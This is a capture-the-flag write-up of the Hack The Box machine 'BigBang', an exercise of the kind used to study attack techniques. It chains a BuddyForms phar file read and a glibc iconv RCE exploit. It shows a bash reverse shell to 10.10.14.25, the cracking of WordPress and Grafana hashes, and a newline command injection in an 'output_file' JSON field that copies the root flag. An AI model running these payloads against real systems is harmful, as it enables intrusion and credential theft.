Just some 0xW1LD stuff...
by 0xW1LD
nmap
find the following ports open:
1
2
3
4
5
6
7
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-02 20:30 AEDT
Nmap scan report for bigbang.htb (10.10.11.52)
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
HTTP
on port 80
is running some sort of blog:
1
2
3
4
5
6
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumerating further we can see that it’s running wordpress
:
1
2
3
4
80/tcp open http Apache httpd 2.4.62
|_http-title: BigBang
|_http-server-header: Apache/2.4.62 (Debian)
|_http-generator: WordPress 6.5.4
ssh
is showing an ECDSA
and ED25519
public key.
1
2
3
4
5
6
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 d415771e822b2ff1cc96c628c1866b3f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBET3VRLx4oR61tt3uTowkXZzNICnY44UpSL7zW4DLrn576oycUCy2Tvbu7bRvjjkUAjg4G080jxHLRJGI4NJoWQ=
| 256 6c42607bbaba67240f0cac5dbe920c66 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILbYOg6bg7lmU60H4seqYXpE3APnWEqfJwg1ojft/DPI
Bigbang is running a university blog:
Each time we load the page we can see a request to get
buddyforms
plugin:
1
2
3
4
5
6
7
8
9
10
11
GET /wp-content/plugins/buddyforms/assets/js/bf-render-js-big-bang.js?ver=6.5.4 HTTP/1.1
Host: blog.bigbang.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://blog.bigbang.htb/
If-Modified-Since: Sun, 02 Feb 2025 09:37:35 GMT
If-None-Match: W/"4e6-62d2586a04667-gzip"
Priority: u=2
Looking around for a vulnerability we found: Buddyforms unauthenticated insecure serialization
Playing around with the site we can find the buddyforms
form and see that we can upload an image.
1
action=upload_image_from_url&url=<URL>&id=1&accepted_files=images/png
The blog mentioned earlier recommends double url encoding, and so we create a request payload as so:
1
2
3
4
5
6
7
8
9
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: blog.bigbang.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
action=upload_image_from_url&url=phar%253A%252F%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd&id=1&accepted_files=image/gif
Here is the response we receive:
1
2
3
4
{
"status": "FAILED",
"response": "File type is not allowed."
}
Seems theres some file upload validation, let’s use wrapwrap to create a php filter chain and add the magic bytes GIF89a
1
2
3
wrap /etc/passwd 'GIF89a\n' '' 1
[!] Ignoring nb_bytes value since there is no suffix
[+] Wrote filter chain to chain.txt (size=1982).
and send the resulting file as our url payload.
1
2
3
4
5
{
"status": "OK",
"response": "http:\/\/blog.bigbang.htb\/wp-content\/uploads\/2025\/02\/1-3.png",
"attachment_id": 172
}
Let’s take the response link and put it into curl to download the image.
1
curl http:\/\/blog.bigbang.htb\/wp-content\/uploads\/2025\/02\/1-3.png -O
We succesfully read /etc/passwd
!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GIF89a\nMroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nol#
Based on the following blog, we can see that we can convert this file read to an RCE: Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine (part 1)
An exploit was already made for us: exploit cve-2023-26326
1
python exploit.py "http://blog.bigbang.htb/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/10.10.14.25/9001 0>&1"'
And we get a reverse shell as www-data
Looking around we figure out that we’re in a docker
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
www-data@bf9a078a3627:/$ ls -la
ls -la
total 72
drwxr-xr-x 1 root root 4096 Jun 1 2024 .
drwxr-xr-x 1 root root 4096 Jun 1 2024 ..
-rwxr-xr-x 1 root root 0 Jun 1 2024 .dockerenv
lrwxrwxrwx 1 root root 7 Feb 11 2024 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Jan 28 2024 boot
drwxr-xr-x 5 root root 340 Feb 2 10:52 dev
drwxr-xr-x 1 root root 4096 Jan 17 15:00 etc
drwxr-xr-x 2 root root 4096 Jan 28 2024 home
lrwxrwxrwx 1 root root 7 Feb 11 2024 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Feb 11 2024 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Feb 11 2024 media
drwxr-xr-x 2 root root 4096 Feb 11 2024 mnt
drwxr-xr-x 2 root root 4096 Feb 11 2024 opt
dr-xr-xr-x 236 root root 0 Feb 2 10:52 proc
drwx------ 1 root root 4096 Jan 17 15:02 root
drwxr-xr-x 1 root root 4096 Feb 3 05:14 run
lrwxrwxrwx 1 root root 8 Feb 11 2024 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Feb 11 2024 srv
dr-xr-xr-x 13 root root 0 Feb 2 10:52 sys
drwxrwxrwt 1 root root 4096 Feb 3 03:12 tmp
drwxr-xr-x 1 root root 4096 Feb 11 2024 usr
drwxr-xr-x 1 root root 4096 Feb 13 2024 var
We can find database credentials in wp-config
:
1
2
3
4
5
6
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', 'wp_password' );
define( 'DB_HOST', '172.17.0.1' );
define( 'DB_CHARSET', 'utf8mb4' );
define( 'DB_COLLATE', '' );
Let’s forward these ports using Chisel
and connect to the database from our attacking machine:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#Attacker
./chisel server -p 8000 -reverse
#Target
./chisel client 10.10.14.25:8000 R:3306:172.17.0.1:3306
#Attacker
mysql -D 'wordpress' -u 'wp_user' -h 172.17.0.1 --skip-ssl -p'wp_password'
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 2839
Server version: 8.0.32 MySQL Community Server - GPL
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [wordpress]>
grabbing tables:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
SHOW TABLES;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.031 sec)
table wp_users
looks interesting, let’s check what’s in it:
1
2
3
4
5
6
7
SELECT * FROM wp_users;
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| root | $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1 |
| shawking | $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./ |
+------------+------------------------------------+
bruteforcing the hashes:
1
2
3
4
5
6
7
8
9
10
11
john --wordlist=`fzf-wordlists` users.hash
find: ‘/usr/share/wfuzz’: No such file or directory
find: ‘/usr/share/dirb’: No such file or directory
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 SSE2 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 16 OpenMP threads
Note: Passwords longer than 13 [worst case UTF-8] to 39 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
0g 0:00:01:30 10.72% (ETA: 19:27:56) 0g/s 18971p/s 37943c/s 37943C/s insomnie..ingo123
quantumphysics (?)
Shawking’s password is quantumphysics
, which we can use to ssh
into the box
Let’s check for open ports
1
2
3
4
5
6
7
8
9
10
11
12
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 9 0 127.0.0.1:9090 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:36019 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Port 3000
is running Grafana
and if we start to look around we can find the database:
/opt/data/grafana.db
transfering it over to our host and checking sqlite we find some credentials:
1
2
3
sqlite> select login,password,salt from user;
admin|441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf
developer|7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv
using grafana2hashcat
to transform the hashes:
1
2
sha256:10000:Q0ZuN3pNc1FwZg==:RBpxW9eI6SgXC+eVSxfLGd6DWi3t/ezoxlMnyx2bpr1H1w7bdCGwXZcGumFHy3GXOjQ=
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=
After cracking them we get a hit for developer
’s password:
1
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=:bigbang
So we have the following credentials developer
:bigbang
which we can use to pivot to that user.
One other port was interesting which was 9090
Forwarded the port and looking at it seems, it seemed empty; however, fuzzing for directories found: /login
and /command
If we check developer
’s home page, inside the satelite-app.apk/classes.dex
we find the same endpoints:
1
2
3
strings classes.dex | grep 9090
#http://app.bigbang.htb:9090/command
!http://app.bigbang.htb:9090/login
we see:
1
2
3
# Method Not Allowed
The method is not allowed for the requested URL.
for both requests which suggests that a POST
or other request method is needed, attempting this we get:
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 415 UNSUPPORTED MEDIA TYPE
Server: Werkzeug/3.0.3 Python/3.10.12
Date: Mon, 03 Feb 2025 09:29:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Connection: close
<!doctype html>
<html lang=en>
<title>415 Unsupported Media Type</title>
<h1>Unsupported Media Type</h1>
<p>Did not attempt to load JSON data because the request Content-Type was not 'application/json'.</p>
Sending a request with blank json
data:
1
2
curl http://localhost:9090/login -X POST -s -H "Content-Type: application/json" -d "{}"
{"error":"Missing username or password"}
Sending the request with developer’s username and password:
1
2
3
4
5
6
7
8
POST /login HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
content-type: application/json
{
"username":"developer","password":"bigbang"}
Provides us with the following response containing an access token:
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.10.12
Date: Mon, 03 Feb 2025 10:27:54 GMT
Content-Type: application/json
Content-Length: 356
Connection: close
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU3ODQ3NCwianRpIjoiYmU3YWVkODUtZDVlZC00N2RhLWE0YzQtYWU3MjFjZDkwMjdjIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU3ODQ3NCwiY3NyZiI6IjMxZDk0MzJmLTNkOGQtNGI4Yi04MTNkLWFlMGY0ZDNkZThjYiIsImV4cCI6MTczODU4MjA3NH0.UXxBxnJkGo2LwgE3Ed8Tj0_0rHVJ0l3givKc01SWPeY"
}
looking at the /command
end point in classes.dex
we find the following:
1
{"command": "send_image", "output_file": <SNIP>
which shows us the proper commands that we can use, doing some trial and error, we get the following results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{"command":"send_image",
"output_file":"/home/developer/test"}
{
"error": "Error generating image: "
}
{"command":"send_image\n touch /home/developer/test",
"output_file":"/home/developer/test"}
{
"error": "Invalid command"
}
{"command":"send_image",
"output_file":"test;test2;test3"}
{
"error": "Output file path contains dangerous characters"
}
{"command":"send_image",
"output_file":"/home/developer/test \n hi"}
{
"error": "Error generating image: /bin/sh: 2: hi: not found\n"
}
which indicates a command injection when injecting a newline.
This vulnerability can be seen under: smali/q0/b.smali
when the apk
is decoded.
Some characters are sanitized however we can still get root flag by copying it and changing permissions:
1
2
3
4
5
{"command":"send_image",
"output_file":"/home/developer/test \n cp /root/root.txt /home/developer/"}
{"command":"send_image",
"output_file":"/home/developer/test \n chmod 777 /home/developer/root.txt"}
Just like that we have root!
tags: os/linux - diff/hard